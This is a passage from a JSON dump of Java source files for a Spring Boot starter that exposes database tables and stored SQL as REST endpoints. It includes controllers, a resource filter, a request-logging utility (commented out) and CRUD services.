response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            Integer page = MapUtil.getInt(parameters, \"page\");\n            if ((page == null || page == 0)  ) {\n                page = 1;\n            }\n            Integer limit = MapUtil.getInt(parameters, \"limit\");\n            if ( (limit == null || limit == 0)) {\n                limit = 10;\n            }\n            parameters.put(\"dataScope\",\"\");\n            Page<JSONObject> pages = JdbcUtil.executeQueryPage(DataSourcePool.getConnection(main),apiSql.getText(),parameters,page,limit);\n            return Result.success(pages.getList()).put(\"count\", pages.getTotalRow()).put(\"pageSize\", pages.getPageSize()).put(\"totalPage\", pages.getTotalPage()).put(\"pageNumber\", pages.getPageNumber());\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n    @RequestMapping(path = {\"/list/{id}\"}, produces = \"application/json\")\n    public Result apiExecutelist(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            List<Map<String, Object>> datas = JdbcUtil.query(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n            return Result.success(datas);\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n    @RequestMapping(path = {\"/execute/{id}\"}, produces = \"application/json\")\n    public Result apiExecuteexecute(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            int flag = JdbcUtil.update(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n            if(flag>0){\n                return Result.success(true);\n            }else{\n                return Result.fail();\n            }\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n\n    private Map<String, ApiSql> getApiSqlMap() {\n        List<Record> apiSqls1 = Db.use(main).find(\" select * from api_sql \");\n        List<ApiSql> apiSqls = RecordUtil.recordToBeans(apiSqls1,ApiSql.class);\n        List<Map<String, Object>> mapDatas = RecordUtil.recordToMaps(apiSqls1);\n        Map<String, ApiSql> apiSqlMap = apiSqls.stream().collect(Collectors.toMap(i->i.getId(), i->i));\n        return apiSqlMap;\n    }\n\n\n    @RequestMapping(path = {\"/{entityName}/{action}\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result list(@PathVariable(\"entityName\") String entityName,@PathVariable(\"action\") String action, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n\n            String sqlType = action;\n            String path = \"/\"+entityName+\"/\"+sqlType;\n            Record apiSql1 = Db.use(main).findById(\"api_sql\",\"path\",path);\n            ApiSql apiSql = RecordUtil.recordToBean(apiSql1,ApiSql.class);// Db.use(main).findBeanById(ApiSql.class,\"path\",path);\n            if(ObjectUtil.isNotEmpty(apiSql)){\n                if(\"one\".equalsIgnoreCase(action)  || \"list\".equalsIgnoreCase(action)  || \"query\".equalsIgnoreCase(action) ){\n                    List<Map<String, Object>> datas = JdbcUtil.query(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    return Result.success(datas);\n                }else if( \"page\".equalsIgnoreCase(action) ){\n                    Integer page = MapUtil.getInt(parameters, \"page\");\n                    if ((page == null || page == 0)  ) {\n                        page = 1;\n                    }\n                    Integer limit = MapUtil.getInt(parameters, \"limit\");\n                    if ( (limit == null || limit == 0)) {\n                        limit = 10;\n                    }\n                    Page<JSONObject> pages = JdbcUtil.executeQueryPage(DataSourcePool.getConnection(main),apiSql.getText(),parameters,page,limit);\n                    return Result.success(pages.getList()).put(\"count\", pages.getTotalRow()).put(\"pageSize\", pages.getPageSize()).put(\"totalPage\", pages.getTotalPage()).put(\"pageNumber\", pages.getPageNumber());\n                }else if(\"insert\".equalsIgnoreCase(action) || \"update\".equalsIgnoreCase(action)  || \"delete\".equalsIgnoreCase(action)){\n                    int flag = JdbcUtil.update(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    if(flag>0){\n                        return Result.success(true);\n                    }else{\n                        return Result.fail();\n                    }\n                }if(\"count\".equalsIgnoreCase(action)){\n                    Long datas = JdbcUtil.count(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    return Result.success(datas);\n                }\n                else {\n                    Object obj = JdbcUtil.executeSql(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    return Result.success(obj);\n                }\n            }else{\n                return Result.error(\"接口[\"+path+\"]不存在\");\n            }\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n\n\n    @Deprecated\n    @RequestMapping(path = {\"/run1/{path}\"}, produces = \"application/json\")\n    public Result apiExecute(@PathVariable String path ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n//        List<Record> records  = Db.findBySql(ApiSql.class,\" select * from api_sql \");\n//        List<ApiSql> apiSqls = RecordUtil.recordToListBean(records, ApiSql.class);\n        List<Record> apiSqls1 = Db.use(main).find(\" select * from api_sql \");\n        List<ApiSql> apiSqls = RecordUtil.recordToBeans(apiSqls1,ApiSql.class);\n        //Db.use().findBeanList(ApiSql.class,\" select * from api_sql \");\n        Map<String, ApiSql> apiSqlMap = apiSqls.stream().collect(Collectors.toMap(i->i.getPath(), i->i));\n        if(apiSqlMap.containsKey(path)){\n            //Object obj = restApiService.doSQLProcess(apiSqlMap.get(path), parameters);\n            Connection connection = Db.use(main).getDataSource().getConnection();\n            Object obj = JdbcUtil.executeSql(connection, String.valueOf(apiSqlMap.get(path)), parameters);\n            return Result.success(obj);\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/filter/RequestLogAspect.java",
    "content": "//package io.github.wujun728.rest.filter;\n//\n//import cn.hutool.core.util.StrUtil;\n//import lombok.RequiredArgsConstructor;\n//import lombok.extern.slf4j.Slf4j;\n//import net.trueland.scrm.common.constant.WebConsts;\n//import net.trueland.scrm.common.context.auth.CrmUserInfoContext;\n//import net.trueland.scrm.common.context.threadlocal.ThreadLocalHelper;\n//import net.trueland.scrm.common.context.web.WebRequestContext;\n//import net.trueland.scrm.common.model.auth.Base;\n//import net.trueland.scrm.common.web.property.ScrmRequestProperties;\n//import org.aspectj.lang.ProceedingJoinPoint;\n//import org.aspectj.lang.annotation.Around;\n//import org.aspectj.lang.annotation.Aspect;\n//import org.springframework.core.annotation.Order;\n//\n//import static cn.hutool.core.text.CharSequenceUtil.isNotBlank;\n//import static java.util.Objects.nonNull;\n//import static org.springframework.core.Ordered.HIGHEST_PRECEDENCE;\n//\n///**\n// * 请求日志打印\n// */\n//@Slf4j\n//@Aspect\n//@Order(HIGHEST_PRECEDENCE)\n//@RequiredArgsConstructor\n//public class RequestLogAspect {\n////    private final ScrmRequestProperties scrmRequestProperties;\n//    /**\n//     * 这个线程变量标记用来避免controller#method调controller#method（可能性比较小）重复打印请求日志的情况\n//     */\n//    private static final String HAS_LOGGED_THREAD_KEY = \"RequestLogAspect_Log_Sign\";\n//\n//    @Around(\"execution(* net.trueland..*(..))  && @within(org.springframework.web.bind.annotation.RequestMapping) \"\n//            + \"&& (execution(@(@org.springframework.web.bind.annotation.RequestMapping *) * *(..)) \"\n//            + \" || @annotation(org.springframework.web.bind.annotation.RequestMapping))\")\n//    public Object aroundRequestMapping(ProceedingJoinPoint joinPoint) throws Throwable {\n//        if (StrUtil.isBlank(WebRequestContext.getRequestURI())){\n//            log.trace(\"no requestUri!\");\n//            return joinPoint.proceed();\n//        }\n//        boolean logSign = !hasLogged() && scrmRequestProperties.getLog()\n//                .getUriPatterns()\n//                .stream()\n//                .anyMatch(p -> WebConsts.DEFAULT_ANT_PATH_MATCHER.match(p, WebRequestContext.getRequestURI())) && scrmRequestProperties.getLog()\n//                .getIgnoreUriPatterns()\n//                .stream()\n//                .noneMatch(p -> WebConsts.DEFAULT_ANT_PATH_MATCHER.match(p, WebRequestContext.getRequestURI()));\n//\n//        long startTime = System.currentTimeMillis();\n//        if (logSign)\n//            log.info(assembleRequestMessage());\n//        ThreadLocalHelper.put(HAS_LOGGED_THREAD_KEY, 1);\n//        try {\n//            return joinPoint.proceed();\n//        } finally {\n//            if (logSign)\n//                log.info(\"<------ Response [{}]  ({}ms)\", WebRequestContext.getRequestURI(), System.currentTimeMillis() - startTime);\n//            ThreadLocalHelper.remove(HAS_LOGGED_THREAD_KEY);\n//        }\n//    }\n//\n//    private boolean hasLogged(){\n//        return nonNull(ThreadLocalHelper.get(HAS_LOGGED_THREAD_KEY));\n//    }\n//\n//    private String assembleRequestMessage() {\n//        StringBuilder msg = new StringBuilder();\n//        msg.append(\"------> Request [\");\n//        msg.append(WebRequestContext.getMethod()).append(' ').append(WebRequestContext.getRequestURI());\n//        msg.append(']');\n//        if (scrmRequestProperties.getLog().isIncludeClientInfo() && isNotBlank(WebRequestContext.getRemoteAddr())) {\n//            msg.append(\", client=\").append(WebRequestContext.getRemoteAddr());\n//            Base base = CrmUserInfoContext.getBase();\n//            if (base != null) {\n//                msg.append(\", accountId=\").append(base.getAccountId()).append(\", userId=\").append(base.getUserId());\n//            }\n//        }\n//        msg.append(\", cURL（bash）=\\n\").append(RequestLogUtils.getHttpInfo(scrmRequestProperties)).append(\"\\n\");\n//        return msg.toString();\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/filter/RequestLogUtils.java",
    "content": "//package io.github.wujun728.rest.filter;\n//\n//import lombok.extern.slf4j.Slf4j;\n//import net.trueland.scrm.common.context.web.WebRequestContext;\n//import net.trueland.scrm.common.web.property.ScrmRequestProperties;\n//import org.apache.commons.collections4.MapUtils;\n//import org.apache.commons.lang3.StringUtils;\n//\n//import java.util.ArrayList;\n//import java.util.List;\n//import java.util.Map;\n//import java.util.Set;\n//\n///**\n// * 请求日志打印工具\n// * 李璇\n// */\n//@Slf4j\n//public final class RequestLogUtils {\n//\n//    private RequestLogUtils() {\n//\n//    }\n//\n//    private static final String URL_FORMAT = \"curl '%s'\\\\\\n\";\n//\n//    private static final String HEADER_FORMAT = \"  -H '%s: %s'\\\\\\n\";\n//\n//    private static final String DATA_ROW_FORMAT = \"  --data-raw '%s'\";\n//\n//    public static final Set<String> HTTP_HEADERS = Set.of(\n//            \"application-code\", \"application-version\", \"preview-application-code\",\n//            \"lang-code\", \"layout-code\", \"object-code\", \"view-code\",\n//            \"authority\", \"accept\", \"accept-language\", \"content-type\",\n//            \"origin\", \"referer\", \"user-agent\",\n//            \"sec-ch-ua\", \"sec-ch-ua-mobile\", \"sec-ch-ua-platform\", \"sec-fetch-dest\", \"sec-fetch-mode\", \"sec-fetch-site\",\n//            \"x-token\", \"sso-token\", \"x-account\", \"tax-rate\", \"root-id\", \"source-flag\", \"service-version\",\n//            \"d-token\", \"p-token\", \"x-weboffice-token\", \"s-request-token\", \"xxl-job-access-token\");\n//\n//\n//    public static String getHttpInfo(ScrmRequestProperties scrmRequestProperties) {\n//        StringBuilder msg = new StringBuilder();\n//        String requestUrl = WebRequestContext.getRequestUrl();\n//        if (scrmRequestProperties.getLog().isIncludeQueryString() && StringUtils.isNotBlank(WebRequestContext.getQueryString())) {\n//            requestUrl = requestUrl + '?' + WebRequestContext.getQueryString();\n//        }\n//        msg.append(String.format(URL_FORMAT, requestUrl));\n//        if (scrmRequestProperties.getLog().isIncludeHeaders()) {\n//            Map<String, String> headers = WebRequestContext.getHeaders();\n//            if (MapUtils.isNotEmpty(headers)) {\n//                Set<Map.Entry<String, String>> entries = headers.entrySet();\n//                List<Map.Entry<String, String>> ignoreHttpHeaders = new ArrayList<>();\n//                for (Map.Entry<String, String> entry : entries) {\n//                    String key = entry.getKey();\n//                    if (HTTP_HEADERS.contains(key)) {\n//                        msg.append(String.format(HEADER_FORMAT, key, entry.getValue()));\n//                    } else {\n//                        ignoreHttpHeaders.add(entry);\n//                    }\n//                }\n//                log.info(\"getHttpInfo ignoreHttpHeaders {}\", ignoreHttpHeaders);\n//            }\n//        }\n//        if (scrmRequestProperties.getLog().isIncludePayload()) {\n//            String payload = WebRequestContext.getPayload();\n//            if (StringUtils.isNotBlank(payload)) {\n//                int maxLength = scrmRequestProperties.getLog().getPayloadLogMaxLength();\n//                String dataRaw = payload.length() > maxLength ? payload.substring(0, maxLength) + \"...(\" + (payload.length() - maxLength) + \" chars more)\" : payload;\n//                msg.append(String.format(DATA_ROW_FORMAT, dataRaw));\n//            }\n//        }\n//        return msg.toString();\n//    }\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/filter/ResourceFilter.java",
    "content": "package io.github.wujun728.rest.filter;\n\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n//import javax.activation.MimetypesFileTypeMap;\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.annotation.WebFilter;\nimport javax.servlet.http.HttpServletRequest;\n\nimport cn.hutool.core.io.FileUtil;\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.io.file.FileNameUtil;\nimport cn.hutool.http.ContentType;\nimport cn.hutool.log.Log;\n\n/**\n * Servlet Filter implementation class ResourceFilter\n */\n@WebFilter(urlPatterns = \"*\")\npublic class ResourceFilter implements Filter {\n\n    @Override\n    public void destroy() {\n    }\n\n    @Override\n    public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {\n        HttpServletRequest request = (HttpServletRequest) arg0;\n        HttpServletRequest respone = (HttpServletRequest) arg0;\n        String url = request.getRequestURI();\n        Log.get().info(\"ResourceFilter URL:\"+url);\n        if (url.startsWith(\"/jun-groovy-api/\")) {\n            String filename = url.substring(\"/jun-groovy-api/\".length());\n            InputStream in = this.getClass().getClassLoader().getResourceAsStream(\"template/\" + filename);\n            if(in!=null){\n                try {\n                    if(url.contains(\".html\") || url.contains(\".htm\")){\n                        arg1.setContentType(ContentType.TEXT_HTML.getValue());\n                    }/*else{\n                        MimetypesFileTypeMap mimetypesFileTypeMap = new MimetypesFileTypeMap();\n                        String mimeType = mimetypesFileTypeMap.getContentType(FileUtil.getName(url));\n                        arg1.setContentType(mimeType);\n                    }*/\n                    IoUtil.copy(in, arg1.getOutputStream());\n                } finally {\n                    IoUtil.close(in);\n                }\n            }else{\n                Log.get().error(\"error url:\"+url);\n            }\n        } else {\n            arg2.doFilter(arg0, arg1);\n        }\n    }\n\n    @Override\n    public void init(FilterConfig arg0) throws ServletException {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/handler/RestEntityExecHandler.java",
    "content": "package io.github.wujun728.rest.handler;\n\nimport java.util.List;\n\npublic abstract class RestEntityExecHandler {\n\n    public abstract String entityName();\n\n    public void beforeCreate() {\n\n    }\n\n    public void afterCreate() {\n    }\n\n    public void beforeUpdate() {\n    }\n\n    public void afterUpdate() {\n    }\n\n    public void beforeDelete() {\n    }\n\n    public void afterDelete() {\n    }\n\n    public void afterQuery() {\n    }\n\n    public void afterQuery(List<?> list) {\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/service/RestApiService.java",
    "content": "package io.github.wujun728.rest.service;\n\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.fastjson2.JSON;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.generator.util.MapUtil;\nimport io.github.wujun728.rest.util.RestUtil;\nimport io.github.wujun728.rest.util.TreeBuildUtil;\nimport io.github.wujun728.sql.SqlMeta;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Service;\n\nimport javax.servlet.http.HttpServletResponse;\nimport javax.sql.DataSource;\nimport java.io.*;\nimport java.sql.SQLException;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\n\nimport static io.github.wujun728.db.record.Db.main;\nimport static io.github.wujun728.rest.controller.RestApiController.getTableMeta;\nimport static io.github.wujun728.rest.util.RestUtil.checkDataFormat;\nimport static io.github.wujun728.rest.util.RestUtil.setPkValue;\n\n\n//import static io.github.wujun728.rest.util.DataSourcePool.main;\n\n@Slf4j\n@Service\npublic class RestApiService {\n\n    public List<Map<String, Object>> getList(String tableName, Map<String, Object> parameters){\n        String entityName = MapUtil.getString(parameters,\"entityName\");\n        //String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        Table table = getTableMeta(tableName, main);\n        StringBuffer sql = new StringBuffer();\n        String select = \"select *\";\n        sql.append(select);\n        String from = \" from \" + tableName;\n        String where = RestUtil.getQueryCondition(parameters,table);\n        if(StrUtil.isNotEmpty(where)){\n            from = from + \" where 1=1 \"+ where;\n        }\n        sql.append(from);\n        List<Record> datas1 = Db.find(sql.toString());\n        List<Map<String, Object>> datas = RecordUtil.recordToMaps(datas1);\n        return datas;\n    }\n    public Page<Record> getPage(String tableName, Map<String, Object> parameters){\n        Table table = getTableMeta(tableName, main);\n        StringBuffer sql = new StringBuffer();\n        String select = \"select *\";\n        sql.append(select);\n        String from = \" from \" + tableName;\n        String where = RestUtil.getQueryCondition(parameters,table);\n        if(StrUtil.isNotEmpty(where)){\n            from = from + \" where 1=1 \"+ where;\n        }\n        sql.append(from);\n        Integer page = cn.hutool.core.map.MapUtil.getInt(parameters, \"page\");\n        if ((page == null || page == 0)  ) {\n            page = 1;\n        }\n        Integer limit = cn.hutool.core.map.MapUtil.getInt(parameters, \"limit\");\n        if ( (limit == null || limit == 0)) {\n            limit = 10;\n        }\n        Page<Record> datas = Db.paginate(page, limit, select, from);\n        return datas;\n    }\n\n    public List<Map<String, Object>> getTree(String tableName, Map<String, Object> parameters){\n        String entityName = MapUtil.getString(parameters,\"entityName\");\n        String url = MapUtil.getString(parameters,\"url\");\n        //String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        Table table = getTableMeta(tableName, main);\n        StringBuffer sql = new StringBuffer();\n        String select = \"select *\";\n        sql.append(select);\n        String from = \" from \" + tableName;\n        sql.append(from);\n        String where = RestUtil.getQueryCondition(parameters,table);\n        if(StrUtil.isNotEmpty(where)){\n            from = from + \" where 1=1 \"+ where;\n        }\n        Boolean isTree = url.contains(\"tree\") ?true:false;\n        List<Record> datas1 = Db.find(sql.toString());\n        List<Map<String, Object>> datas = RecordUtil.recordToMaps(datas1);\n        //是否构建树 begin\n        if(isTree){\n            String treeId = cn.hutool.core.map.MapUtil.getStr(parameters, \"id\") == null ? \"id\" : cn.hutool.core.map.MapUtil.getStr(parameters, \"id\");\n            String treePid = cn.hutool.core.map.MapUtil.getStr(parameters, \"pid\") == null ? \"pid\" : cn.hutool.core.map.MapUtil.getStr(parameters, \"pid\");\n            Object rootId = parameters.get(\"rootId\") == null ? 0L : parameters.get(\"rootId\");\n            if (StrUtil.isNotEmpty(treePid)) {\n                List<Map<String, Object>> treeList = TreeBuildUtil.listToTree(datas,String.valueOf(rootId),treeId,treePid);\n                StaticLog.info(JSONUtil.toJsonPrettyStr(treeList));\n                return treeList;\n            }\n        }\n        return datas;\n    }\n\n\n    public static void download(HttpServletResponse response, File file) throws IOException {\n        String filename = file.getName();\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-Disposition\", \"attachment; filename=\\\"\" + filename + \"\\\"\");\n        response.addHeader(\"Content-Length\", \"\" + file.length());\n        response.setContentType(\"application/octet-stream\");\n        try(InputStream is = new FileInputStream(file);\n            BufferedInputStream bis = new BufferedInputStream(is);\n            BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream())){\n            byte[] buff = new byte[2048];\n            int len;\n            while ((len = bis.read(buff)) != -1){\n                bos.write(buff, 0, len);\n            }\n            bos.flush();\n        } catch (IOException e){\n            throw e;\n        }\n    }\n\n    public static Object executeSQL(DataSource ds, Map<String, Object> sqlParam, String deleteSQL)\n            throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(deleteSQL, sqlParam);\n        Object datas = JdbcUtil.executeSql(ds.getConnection(), sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n        System.err.println(JSON.toJSONString(datas));\n        return datas;\n    }\n\n\n    public Result saveOrUpdate(String entityName, Map<String, Object> parameters, Boolean isSave) throws Exception {\n        //Step1,校验表信息，并获取表定义及主键信息\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        parameters.put(\"entityName\" , entityName);\n        parameters.put(\"tableName\" , tableName);\n        Table table = getTableMeta(tableName, main);\n        //Step2,根据表定义，获取表主键，并根据新增及修改，生成主键或者判断主键数据是否存在\n        //Step3,根据表定义，新增必填字段信息校验，并将默认或者内置字段生成默认值\n        String primaryKey = RestUtil.getTablePrimaryKes(table);\n        String primaryValue = RestUtil.getParamValue(parameters, primaryKey);\n        if(StrUtil.isNotEmpty(primaryValue)){\n            isSave = false;\n        }\n        Record record = new Record();\n        if (!isSave) {\n            List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n            record = Db.findById(tableName, primaryKey, args.toArray());\n            if (ObjectUtil.isNull(record)) {\n                return Result.fail(\"修改失败，无此ID对应的记录！\");\n            }\n        }\n        Collection<Column> columns = table.getColumns();\n        for (Column column : columns) {\n            String paramValue = RestUtil.getParamValue(parameters, column.getName());\n            if (isSave) {\n                paramValue = RestUtil.getId(paramValue);\n            }\n            checkDataFormat(column, paramValue);\n            if (ObjectUtil.isNotEmpty(paramValue)) {//非空值，直接设置\n                record.set(column.getName(), (paramValue));\n            } else {\n                String fieldName = StrUtil.toCamelCase(column.getName());\n                if (ObjectUtil.isNotEmpty(RestUtil.getDefaultValue(fieldName))) {//设置默认值的字段\n                    record.set(column.getName(), RestUtil.getDefaultValue(fieldName));\n                } else {\n                    if(column.isPk()){\n                        if(column.isAutoIncrement()){\n                            //自增的主键，不自动赋值\n                        }else{\n                            setPkValue(record, column);\n                            StaticLog.warn(\"参数未传值： \" + column.getName());\n                        }\n                    }else{\n                        if (!column.isNullable()){ //非空字段，保存的时候，必填直接返回提示\n                            if (isSave) {\n                                throw new BusinessException(\"参数[\" + column.getName() + \"]不能为空！\");\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        //Step4，根据表定义拿到全部参数并生成入库的对象，并持久化并返回数据\n        Boolean isSucess;\n        if (isSave) {\n            RestUtil.fillRecord(record,tableName,true);\n            Record finalRecord = record;\n            //isSucess = Db.tx(() -> Db.save(tableName, finalRecord));\n            isSucess = Db.save(tableName, finalRecord);\n        } else {\n            RestUtil.fillRecord(record,tableName,false);\n            Record finalRecord1 = record;\n            //isSucess = Db.tx(() -> Db.update(tableName, finalRecord1));\n            isSucess = Db.update(tableName, finalRecord1);\n        }\n        System.out.println(\"返回数据为：\" + JSONUtil.toJsonStr(isSucess));\n        if (isSucess) {\n            if (isSave) {\n                return Result.success(\"保存成功！\",isSucess);\n            }else{\n                return Result.success(\"修改成功！\",isSucess);\n            }\n        } else {\n            return Result.fail(\"新增或者修改失败\");\n        }\n    }\n\n    /*@RequestMapping(path = {\"/api/test\"}, produces = \"application/json\")\n    public Result apiTest(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        //        String url = \"localhost:8888/engine/install\";\n        String url = new String();\n        HttpRequest post = HttpRequest.post(url).header(\"Content-Type\", \"multipart/form-data\");\n        Map<String,Object> map = Maps.newHashMap();\n        map.put(\"aaa\",123);\n        map.put(\"byk\",45465);\n        post.form(map);\n        HttpResponse execute = null;\n        try {\n            execute = post.execute();\n        } catch (Exception e) {\n            throw new BusinessException(\"安装部署包失败，调用引擎[\"+url+\"]端口失败\"+e.getMessage());\n        }\n        String jsonStr = execute.body();\n        System.out.println(\"execute = \" + jsonStr);\n        if(JSONUtil.isJson(jsonStr)){\n            Result result = JSONUtil.toBean(jsonStr,Result.class);\n            return result;\n        }else{\n            return Result.error(jsonStr);\n        }\n    }*/\n\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/service/RestSqlService.java",
    "content": "package io.github.wujun728.rest.service;\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.alibaba.fastjson2.JSON;\nimport com.google.common.collect.Maps;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.sql.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.generator.CodeUtil;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.rest.util.DbUtil;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.*;\n\nimport static io.github.wujun728.db.record.Db.main;\n\n\n@Service\npublic class RestSqlService {\n\n    public void init(String tableName, Map<String, Object> parameters) throws SQLException, TemplateException, IOException {\n        /*String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        Db.init(main,dataSource);*/\n        DataSource dataSource = SpringUtil.getBean(DataSource.class);\n        String entityName = MapUtil.getStr(parameters,\"entityName\");\n        Boolean isUnderLine = entityName.equals(tableName);\n        Table table =  MetaUtil.getTableMeta(dataSource,tableName);\n        List<Record> sqlList1 = Db.use(main).find(\"select * from api_sql \");\n        List<ApiSql> sqlList = RecordUtil.recordToBeans(sqlList1,ApiSql.class);// Db.use(main).findBeanList(ApiSql.class,\"select * from api_sql \");\n        ApiSql apiSql = new ApiSql();\n        String sqlType = \"insert\";\n        String path = \"/\"+entityName+\"/\"+sqlType;\n        String id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setGroup(entityName);\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"update\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"delete\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"page\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        